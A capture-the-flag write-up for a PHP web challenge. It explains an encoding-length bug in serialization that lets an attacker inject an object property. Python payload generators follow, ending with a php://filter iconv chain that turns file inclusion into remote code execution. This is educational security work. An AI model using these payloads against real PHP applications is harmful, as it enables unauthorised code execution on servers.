Welcome to the VirusVault, the most secure way to store dangerous viruses. Surely nothing can go wrong storing them this way! http://chals.tisc25.ctf.sg:26182 Attached files: virus_vault.zip

Finally, a web challenge with source! This is a pretty straightforward PHP challenge and a refreshing change of pace from the Cloud challenge.

The PHP server allows us to store and load virus objects. We can specify the virus name and virus species when storing it. We are allowed to specify any name, but the species must be one of a pre-defined set.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Virus
{
    public $name;
    public $species;
    public $valid_species = ["Ghostroot", "IronHydra", "DarkFurnace", "Voltspike"];

    public function __construct(string $name, string $species)
    {
        $this->name = $name;
        $this->species = in_array($species, $this->valid_species) ? $species : throw new Exception("That virus is too dangerous to store here: " . htmlspecialchars($species));
    }

    public function printInfo()
    {
        echo "Name: " . htmlspecialchars($this->name) . "<br>";
        include $this->species . ".txt";
    }
}

It does so via de/serialization.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function storeVirus(Virus $virus)
{
	$ser = serialize($virus);
	$quoted = $this->pdo->quote($ser);
	$encoded = mb_convert_encoding($quoted, 'UTF-8', 'ISO-8859-1');

	try {
		$this->pdo->query("INSERT INTO virus_vault (virus) VALUES ($encoded)");
		return $this->pdo->lastInsertId();
	} catch (Exception $e) {
		throw new Exception("An error occured while locking away the dangerous virus!");
	}
}

public function fetchVirus(string $id)
{
	try {
		$quoted = $this->pdo->quote(intval($id));
		$result = $this->pdo->query("SELECT virus FROM virus_vault WHERE id == $quoted");
		if ($result !== false) {
			$row = $result->fetch(PDO::FETCH_ASSOC);
			if ($row && isset($row['virus'])) {
				return unserialize($row['virus']);
			}
		}
		return null;
	} catch (Exception $e) {
		echo "An error occured while fetching your virus... Run!";
		print_r($e);
	}
	return null;
}

The first vulnerability is quite clear: there is a mismatch in the serialization and deserialization protocols. The serialized object is further processed before it is stored. Specifically, special characters are escaped using PDO::quote() and then its encoding is converted from ISO-8859-1 to UTF-8. However, this processing is not reversed before it is deserialized. This is a common vulnerable pattern in web challenges: sanitizing input, processing it, then using the processed input. This can lead to unexpected outcomes when the processing defeats the sanitization.

PHP serialization is one such case of the bug class. The PHP serialization format stores string lengths in the serialized data, followed by the plaintext string. This follows the format: s:size:value;. For example, this is the string "abc" serialized: s:3:abc;.

We can abuse the encoding conversion to change the length of the serialized payload by supplying unicode characters like é in a property’s value. Initially, the serialized payload is encoded correctly in ISO-8859-1. After the encoding conversion, the property’s value increases in length due to variable-length encoding used by UTF-8. This means that the value is now longer than its specified length. We can exploit this to confuse the PHP parser into thinking that the excess part of the property value is actually the next serialized field. This allows us to escape the name property and define an arbitrary virus species property. This Python script generates such a name

1
2
3
4
5
6
7
8
9
10
11
prefix = "abc"
mid = ""
winner = "IronHydra"  # replace with arbitrary species name
suffix = f'";s:1:"x";s:1:"x";s:7:"species";s:{len(winner)}:"{winner}";}}'

if len(suffix) % 2 == 1:
    suffix += 'a'
k = len(suffix) // 2
mid = "é." * k
name = prefix + mid + suffix
print(name)

Now that we can generate arbitrary species, we can target this function:

1
2
3
4
5
public function printInfo()
{
	echo "Name: " . htmlspecialchars($this->name) . "<br>";
	include $this->species . ".txt";
}

Normally, species is restricted to a pre-defined list, so printInfo() simply prints out one of the text files corresponding to that species. With full control over species name, we now have an almost arbitrary LFI, save for the file extension. Escalating this to RCE in PHP is a classic problem, and Hacktricks has the answer as usual – PHP filters.

Final payload:

1
2
3
4
5
6
7
8
9
10
11
prefix = "abc"
mid = ""
winner = r'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'
suffix = f'";s:1:"x";s:1:"x";s:7:"species";s:{len(winner)}:"{winner}";}}'

if len(suffix) % 2 == 1:
    suffix += 'a'
k = len(suffix) // 2
mid = "é." * k
name = prefix + mid + suffix
print(name)

Flag: TISC{pHp_d3s3ri4liz3_4_fil3_inc1us!0n}